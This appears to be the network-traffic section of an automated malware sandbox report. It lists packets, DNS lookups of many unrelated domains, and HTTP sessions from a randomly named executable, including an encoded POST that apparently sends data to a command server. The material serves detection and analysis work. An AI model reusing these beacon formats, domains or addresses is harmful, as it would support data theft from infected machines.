Oct 8, 2024 15:36:39.447874069 CEST	60855	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:39.447890997 CEST	60855	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:39.448275089 CEST	80	60855	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:39.448286057 CEST	80	60855	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:39.448307991 CEST	80	60855	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:39.448319912 CEST	60855	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:39.448349953 CEST	60855	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:39.452857018 CEST	60855	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:39.458149910 CEST	80	60855	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:44.593692064 CEST	60856	80	192.168.2.9	195.161.68.8
Oct 8, 2024 15:36:44.598747969 CEST	80	60856	195.161.68.8	192.168.2.9
Oct 8, 2024 15:36:44.598851919 CEST	60856	80	192.168.2.9	195.161.68.8
Oct 8, 2024 15:36:44.609220028 CEST	60856	80	192.168.2.9	195.161.68.8
Oct 8, 2024 15:36:44.614177942 CEST	80	60856	195.161.68.8	192.168.2.9
Oct 8, 2024 15:36:45.350007057 CEST	80	60856	195.161.68.8	192.168.2.9
Oct 8, 2024 15:36:45.350052118 CEST	80	60856	195.161.68.8	192.168.2.9
Oct 8, 2024 15:36:45.350125074 CEST	60856	80	192.168.2.9	195.161.68.8
Oct 8, 2024 15:36:46.125463963 CEST	60856	80	192.168.2.9	195.161.68.8
Oct 8, 2024 15:36:47.145809889 CEST	60857	80	192.168.2.9	195.161.68.8
Oct 8, 2024 15:36:47.150901079 CEST	80	60857	195.161.68.8	192.168.2.9
Oct 8, 2024 15:36:47.151238918 CEST	60857	80	192.168.2.9	195.161.68.8
Oct 8, 2024 15:36:47.166169882 CEST	60857	80	192.168.2.9	195.161.68.8
Oct 8, 2024 15:36:47.171329975 CEST	80	60857	195.161.68.8	192.168.2.9
Oct 8, 2024 15:36:47.871860981 CEST	80	60857	195.161.68.8	192.168.2.9
Oct 8, 2024 15:36:47.872256994 CEST	80	60857	195.161.68.8	192.168.2.9
Oct 8, 2024 15:36:47.872320890 CEST	60857	80	192.168.2.9	195.161.68.8
Oct 8, 2024 15:36:48.672323942 CEST	60857	80	192.168.2.9	195.161.68.8
Oct 8, 2024 15:36:49.692178965 CEST	60858	80	192.168.2.9	195.161.68.8
Oct 8, 2024 15:36:49.697278023 CEST	80	60858	195.161.68.8	192.168.2.9
Oct 8, 2024 15:36:49.697376966 CEST	60858	80	192.168.2.9	195.161.68.8
Oct 8, 2024 15:36:49.712145090 CEST	60858	80	192.168.2.9	195.161.68.8
Oct 8, 2024 15:36:49.717428923 CEST	80	60858	195.161.68.8	192.168.2.9
Oct 8, 2024 15:36:49.717453003 CEST	80	60858	195.161.68.8	192.168.2.9
Oct 8, 2024 15:36:50.434241056 CEST	80	60858	195.161.68.8	192.168.2.9
Oct 8, 2024 15:36:50.434354067 CEST	80	60858	195.161.68.8	192.168.2.9
Oct 8, 2024 15:36:50.434708118 CEST	60858	80	192.168.2.9	195.161.68.8
Oct 8, 2024 15:36:51.218998909 CEST	60858	80	192.168.2.9	195.161.68.8
Oct 8, 2024 15:36:52.240621090 CEST	60859	80	192.168.2.9	195.161.68.8
Oct 8, 2024 15:36:52.246011972 CEST	80	60859	195.161.68.8	192.168.2.9
Oct 8, 2024 15:36:52.246088028 CEST	60859	80	192.168.2.9	195.161.68.8
Oct 8, 2024 15:36:52.255220890 CEST	60859	80	192.168.2.9	195.161.68.8
Oct 8, 2024 15:36:52.260195017 CEST	80	60859	195.161.68.8	192.168.2.9
Oct 8, 2024 15:36:52.997530937 CEST	80	60859	195.161.68.8	192.168.2.9
Oct 8, 2024 15:36:52.998603106 CEST	80	60859	195.161.68.8	192.168.2.9
Oct 8, 2024 15:36:52.998866081 CEST	60859	80	192.168.2.9	195.161.68.8
Oct 8, 2024 15:36:53.001317978 CEST	60859	80	192.168.2.9	195.161.68.8
Oct 8, 2024 15:36:53.007069111 CEST	80	60859	195.161.68.8	192.168.2.9
Oct 8, 2024 15:36:58.110794067 CEST	60860	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:36:58.116377115 CEST	80	60860	194.58.112.174	192.168.2.9
Oct 8, 2024 15:36:58.116460085 CEST	60860	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:36:58.129393101 CEST	60860	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:36:58.134357929 CEST	80	60860	194.58.112.174	192.168.2.9
Oct 8, 2024 15:36:58.822611094 CEST	80	60860	194.58.112.174	192.168.2.9
Oct 8, 2024 15:36:58.822639942 CEST	80	60860	194.58.112.174	192.168.2.9
Oct 8, 2024 15:36:58.822663069 CEST	80	60860	194.58.112.174	192.168.2.9
Oct 8, 2024 15:36:58.822674036 CEST	80	60860	194.58.112.174	192.168.2.9
Oct 8, 2024 15:36:58.822746992 CEST	80	60860	194.58.112.174	192.168.2.9
Oct 8, 2024 15:36:58.822777033 CEST	60860	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:36:58.828389883 CEST	60860	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:36:59.640876055 CEST	60860	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:00.659971952 CEST	60861	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:00.664948940 CEST	80	60861	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:00.665044069 CEST	60861	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:00.675344944 CEST	60861	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:00.680382013 CEST	80	60861	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:01.358906031 CEST	80	60861	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:01.358947039 CEST	80	60861	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:01.358963013 CEST	80	60861	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:01.358984947 CEST	60861	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:01.359042883 CEST	80	60861	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:01.359060049 CEST	80	60861	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:01.359075069 CEST	60861	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:01.359095097 CEST	60861	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:02.187890053 CEST	60861	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:03.206935883 CEST	60862	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:03.212194920 CEST	80	60862	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:03.212335110 CEST	60862	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:03.223001003 CEST	60862	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:03.227977991 CEST	80	60862	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:03.228914976 CEST	80	60862	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:03.925353050 CEST	80	60862	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:03.925373077 CEST	80	60862	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:03.925398111 CEST	80	60862	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:03.925409079 CEST	80	60862	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:03.925498009 CEST	60862	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:03.925537109 CEST	60862	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:03.925544977 CEST	80	60862	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:03.927361012 CEST	60862	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:04.757700920 CEST	60862	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:05.769387007 CEST	60863	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:05.774384975 CEST	80	60863	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:05.774467945 CEST	60863	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:05.782306910 CEST	60863	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:05.787086964 CEST	80	60863	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:06.472611904 CEST	80	60863	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:06.472735882 CEST	80	60863	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:06.472752094 CEST	80	60863	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:06.472765923 CEST	80	60863	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:06.472784042 CEST	80	60863	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:06.472804070 CEST	80	60863	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:06.472816944 CEST	80	60863	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:06.472836018 CEST	80	60863	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:06.473050117 CEST	60863	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:06.473050117 CEST	60863	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:06.473220110 CEST	80	60863	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:06.473464012 CEST	80	60863	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:06.473776102 CEST	80	60863	194.58.112.174	192.168.2.9
Oct 8, 2024 15:37:06.473912001 CEST	60863	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:06.479140043 CEST	60863	80	192.168.2.9	194.58.112.174
Oct 8, 2024 15:37:06.484092951 CEST	80	60863	194.58.112.174	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 15:33:31.960488081 CEST	53	50796	162.159.36.2	192.168.2.9
Oct 8, 2024 15:33:32.431962013 CEST	51043	53	192.168.2.9	1.1.1.1
Oct 8, 2024 15:33:32.439408064 CEST	53	51043	1.1.1.1	192.168.2.9
Oct 8, 2024 15:33:36.184190035 CEST	59926	53	192.168.2.9	1.1.1.1
Oct 8, 2024 15:33:36.209781885 CEST	53	59926	1.1.1.1	192.168.2.9
Oct 8, 2024 15:33:52.864052057 CEST	58461	53	192.168.2.9	1.1.1.1
Oct 8, 2024 15:33:52.895015001 CEST	53	58461	1.1.1.1	192.168.2.9
Oct 8, 2024 15:34:06.441562891 CEST	57826	53	192.168.2.9	1.1.1.1
Oct 8, 2024 15:34:06.455951929 CEST	53	57826	1.1.1.1	192.168.2.9
Oct 8, 2024 15:34:19.582298040 CEST	49386	53	192.168.2.9	1.1.1.1
Oct 8, 2024 15:34:19.601962090 CEST	53	49386	1.1.1.1	192.168.2.9
Oct 8, 2024 15:34:33.659929991 CEST	58605	53	192.168.2.9	1.1.1.1
Oct 8, 2024 15:34:34.470103979 CEST	53	58605	1.1.1.1	192.168.2.9
Oct 8, 2024 15:34:48.520024061 CEST	52788	53	192.168.2.9	1.1.1.1
Oct 8, 2024 15:34:48.533149004 CEST	53	52788	1.1.1.1	192.168.2.9
Oct 8, 2024 15:35:06.707832098 CEST	55852	53	192.168.2.9	1.1.1.1
Oct 8, 2024 15:35:06.743119955 CEST	53	55852	1.1.1.1	192.168.2.9
Oct 8, 2024 15:35:20.395275116 CEST	58888	53	192.168.2.9	1.1.1.1
Oct 8, 2024 15:35:20.736262083 CEST	53	58888	1.1.1.1	192.168.2.9
Oct 8, 2024 15:35:34.817804098 CEST	52242	53	192.168.2.9	1.1.1.1
Oct 8, 2024 15:35:35.358998060 CEST	53	52242	1.1.1.1	192.168.2.9
Oct 8, 2024 15:36:09.411092043 CEST	61251	53	192.168.2.9	1.1.1.1
Oct 8, 2024 15:36:09.426366091 CEST	53	61251	1.1.1.1	192.168.2.9
Oct 8, 2024 15:36:17.677227974 CEST	60556	53	192.168.2.9	1.1.1.1
Oct 8, 2024 15:36:17.723215103 CEST	53	60556	1.1.1.1	192.168.2.9
Oct 8, 2024 15:36:30.883127928 CEST	63443	53	192.168.2.9	1.1.1.1
Oct 8, 2024 15:36:31.345695972 CEST	53	63443	1.1.1.1	192.168.2.9
Oct 8, 2024 15:36:44.457973957 CEST	50073	53	192.168.2.9	1.1.1.1
Oct 8, 2024 15:36:44.576714993 CEST	53	50073	1.1.1.1	192.168.2.9
Oct 8, 2024 15:36:58.020536900 CEST	65463	53	192.168.2.9	1.1.1.1
Oct 8, 2024 15:36:58.107594967 CEST	53	65463	1.1.1.1	192.168.2.9
Oct 8, 2024 15:37:12.488759995 CEST	56129	53	192.168.2.9	1.1.1.1
Oct 8, 2024 15:37:12.500932932 CEST	53	56129	1.1.1.1	192.168.2.9
Oct 8, 2024 15:37:26.007184029 CEST	58784	53	192.168.2.9	1.1.1.1
Oct 8, 2024 15:37:26.603116035 CEST	53	58784	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 8, 2024 15:33:32.431962013 CEST	192.168.2.9	1.1.1.1	0xa920	Standard query (0)	206.23.85.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Oct 8, 2024 15:33:36.184190035 CEST	192.168.2.9	1.1.1.1	0xb2e9	Standard query (0)	www.multileveltravel.world	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:33:52.864052057 CEST	192.168.2.9	1.1.1.1	0x22bc	Standard query (0)	www.falconclub.online	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:34:06.441562891 CEST	192.168.2.9	1.1.1.1	0x22f8	Standard query (0)	www.promasterev.shop	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:34:19.582298040 CEST	192.168.2.9	1.1.1.1	0xc611	Standard query (0)	www.childlesscatlady.today	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:34:33.659929991 CEST	192.168.2.9	1.1.1.1	0x99e7	Standard query (0)	www.animekuid.xyz	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:34:48.520024061 CEST	192.168.2.9	1.1.1.1	0x46b8	Standard query (0)	www.doggieradio.net	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:35:06.707832098 CEST	192.168.2.9	1.1.1.1	0x90da	Standard query (0)	www.demovix.xyz	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:35:20.395275116 CEST	192.168.2.9	1.1.1.1	0xaf9a	Standard query (0)	www.palcoconnector.net	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:35:34.817804098 CEST	192.168.2.9	1.1.1.1	0x6d0e	Standard query (0)	www.shanhaiguan.net	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:36:09.411092043 CEST	192.168.2.9	1.1.1.1	0xe8fa	Standard query (0)	www.mtcep.org	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:36:17.677227974 CEST	192.168.2.9	1.1.1.1	0x6517	Standard query (0)	www.es-lidl.online	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:36:30.883127928 CEST	192.168.2.9	1.1.1.1	0xf9dc	Standard query (0)	www.wajf.net	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:36:44.457973957 CEST	192.168.2.9	1.1.1.1	0x7fed	Standard query (0)	www.drivedoge.website	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:36:58.020536900 CEST	192.168.2.9	1.1.1.1	0x84d4	Standard query (0)	www.torex33.online	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:37:12.488759995 CEST	192.168.2.9	1.1.1.1	0xc729	Standard query (0)	www.broomeorchard.xyz	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:37:26.007184029 CEST	192.168.2.9	1.1.1.1	0x47ae	Standard query (0)	www.wcq24.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 8, 2024 15:33:32.439408064 CEST	1.1.1.1	192.168.2.9	0xa920	Name error (3)	206.23.85.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Oct 8, 2024 15:33:36.209781885 CEST	1.1.1.1	192.168.2.9	0xb2e9	No error (0)	www.multileveltravel.world	multileveltravel.world		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:33:36.209781885 CEST	1.1.1.1	192.168.2.9	0xb2e9	No error (0)	multileveltravel.world		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:33:36.209781885 CEST	1.1.1.1	192.168.2.9	0xb2e9	No error (0)	multileveltravel.world		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:33:52.895015001 CEST	1.1.1.1	192.168.2.9	0x22bc	No error (0)	www.falconclub.online		74.208.236.25	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:34:06.455951929 CEST	1.1.1.1	192.168.2.9	0x22f8	No error (0)	www.promasterev.shop	promasterev.shop		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:34:06.455951929 CEST	1.1.1.1	192.168.2.9	0x22f8	No error (0)	promasterev.shop		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:34:06.455951929 CEST	1.1.1.1	192.168.2.9	0x22f8	No error (0)	promasterev.shop		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:34:19.601962090 CEST	1.1.1.1	192.168.2.9	0xc611	No error (0)	www.childlesscatlady.today	childlesscatlady.today		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:34:19.601962090 CEST	1.1.1.1	192.168.2.9	0xc611	No error (0)	childlesscatlady.today		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:34:19.601962090 CEST	1.1.1.1	192.168.2.9	0xc611	No error (0)	childlesscatlady.today		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:34:34.470103979 CEST	1.1.1.1	192.168.2.9	0x99e7	No error (0)	www.animekuid.xyz	animekuid.xyz		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:34:34.470103979 CEST	1.1.1.1	192.168.2.9	0x99e7	No error (0)	animekuid.xyz		203.175.9.128	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:34:48.533149004 CEST	1.1.1.1	192.168.2.9	0x46b8	No error (0)	www.doggieradio.net	doggieradio.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:34:48.533149004 CEST	1.1.1.1	192.168.2.9	0x46b8	No error (0)	doggieradio.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:34:48.533149004 CEST	1.1.1.1	192.168.2.9	0x46b8	No error (0)	doggieradio.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:35:06.743119955 CEST	1.1.1.1	192.168.2.9	0x90da	No error (0)	www.demovix.xyz		199.192.19.19	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:35:20.736262083 CEST	1.1.1.1	192.168.2.9	0xaf9a	No error (0)	www.palcoconnector.net		208.91.197.27	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:35:35.358998060 CEST	1.1.1.1	192.168.2.9	0x6d0e	No error (0)	www.shanhaiguan.net		156.242.132.82	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:36:09.426366091 CEST	1.1.1.1	192.168.2.9	0xe8fa	Name error (3)	www.mtcep.org	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:36:17.723215103 CEST	1.1.1.1	192.168.2.9	0x6517	No error (0)	www.es-lidl.online	es-lidl.online		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:36:17.723215103 CEST	1.1.1.1	192.168.2.9	0x6517	No error (0)	es-lidl.online		84.32.84.32	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:36:31.345695972 CEST	1.1.1.1	192.168.2.9	0xf9dc	No error (0)	www.wajf.net	comingsoon.namebright.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:36:31.345695972 CEST	1.1.1.1	192.168.2.9	0xf9dc	No error (0)	comingsoon.namebright.com	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:36:31.345695972 CEST	1.1.1.1	192.168.2.9	0xf9dc	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		3.91.127.116	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:36:31.345695972 CEST	1.1.1.1	192.168.2.9	0xf9dc	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		34.194.102.142	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:36:44.576714993 CEST	1.1.1.1	192.168.2.9	0x7fed	No error (0)	www.drivedoge.website		195.161.68.8	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:36:58.107594967 CEST	1.1.1.1	192.168.2.9	0x84d4	No error (0)	www.torex33.online		194.58.112.174	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:37:12.500932932 CEST	1.1.1.1	192.168.2.9	0xc729	No error (0)	www.broomeorchard.xyz		15.197.204.56	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:37:12.500932932 CEST	1.1.1.1	192.168.2.9	0xc729	No error (0)	www.broomeorchard.xyz		3.33.243.145	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:37:26.603116035 CEST	1.1.1.1	192.168.2.9	0x47ae	No error (0)	www.wcq24.top	wcq24.top		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:37:26.603116035 CEST	1.1.1.1	192.168.2.9	0x47ae	No error (0)	wcq24.top		154.23.184.240	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.multileveltravel.world

www.falconclub.online

www.promasterev.shop

www.childlesscatlady.today

www.animekuid.xyz

www.doggieradio.net

www.demovix.xyz

www.palcoconnector.net

www.shanhaiguan.net

www.es-lidl.online

www.wajf.net

www.drivedoge.website

www.torex33.online

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	60549	3.33.130.190	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:33:36.230236053 CEST	483	OUT	GET /hfue/?WX=rnWllP5PLlhLLtj&tpTd=GzF3o7eza1dU4F476cHHeral/cYJG+FCwgJMIz0HPlfrSCMBDVuQfjGNmxBd7moVrhCGY2hY7MCgK+MnekgstTp0z3ZjcP9rk68ek43BHqQDCfcAeg== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.multileveltravel.world Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Oct 8, 2024 15:33:37.817831039 CEST	395	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 13:33:37 GMT Content-Type: text/html Content-Length: 255 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 57 58 3d 72 6e 57 6c 6c 50 35 50 4c 6c 68 4c 4c 74 6a 26 74 70 54 64 3d 47 7a 46 33 6f 37 65 7a 61 31 64 55 34 46 34 37 36 63 48 48 65 72 61 6c 2f 63 59 4a 47 2b 46 43 77 67 4a 4d 49 7a 30 48 50 6c 66 72 53 43 4d 42 44 56 75 51 66 6a 47 4e 6d 78 42 64 37 6d 6f 56 72 68 43 47 59 32 68 59 37 4d 43 67 4b 2b 4d 6e 65 6b 67 73 74 54 70 30 7a 33 5a 6a 63 50 39 72 6b 36 38 65 6b 34 33 42 48 71 51 44 43 66 63 41 65 67 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?WX=rnWllP5PLlhLLtj&tpTd=GzF3o7eza1dU4F476cHHeral/cYJG+FCwgJMIz0HPlfrSCMBDVuQfjGNmxBd7moVrhCGY2hY7MCgK+MnekgstTp0z3ZjcP9rk68ek43BHqQDCfcAeg=="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	60551	74.208.236.25	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:33:52.914947987 CEST	746	OUT	POST /sld7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.falconclub.online Origin: http://www.falconclub.online Cache-Control: max-age=0 Content-Length: 193 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.falconclub.online/sld7/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 79 75 32 4c 63 68 76 55 63 45 70 51 68 56 4e 52 35 64 61 53 69 73 5a 4d 65 41 78 47 73 71 2b 75 4f 57 63 37 70 48 4f 67 48 2b 4b 49 62 72 65 38 37 73 70 4b 44 33 70 74 45 6f 45 48 33 49 42 36 7a 53 64 70 68 4f 56 76 4b 65 78 34 79 6b 4d 71 30 48 56 4b 71 35 58 4a 73 76 33 73 72 70 70 6a 64 6c 31 77 30 2f 59 2b 79 30 4e 74 31 36 7a 4b 76 62 66 6a 64 4c 76 41 70 41 43 6e 49 71 73 45 6f 38 53 36 4b 42 62 36 65 62 69 46 4a 35 63 6e 68 31 58 71 37 48 43 38 78 64 56 57 52 49 2f 62 4e 62 6f 6d 4a 68 41 38 4b 38 30 62 75 50 4c 78 48 52 42 46 45 49 5a 52 67 4a 6b 6e Data Ascii: tpTd=yu2LchvUcEpQhVNR5daSisZMeAxGsq+uOWc7pHOgH+KIbre87spKD3ptEoEH3IB6zSdphOVvKex4ykMq0HVKq5XJsv3srppjdl1w0/Y+y0Nt16zKvbfjdLvApACnIqsEo8S6KBb6ebiFJ5cnh1Xq7HC8xdVWRI/bNbomJhA8K80buPLxHRBFEIZRgJkn
Oct 8, 2024 15:33:53.420114040 CEST	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Tue, 08 Oct 2024 13:33:53 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 [TRUNCATED] Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	60552	74.208.236.25	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
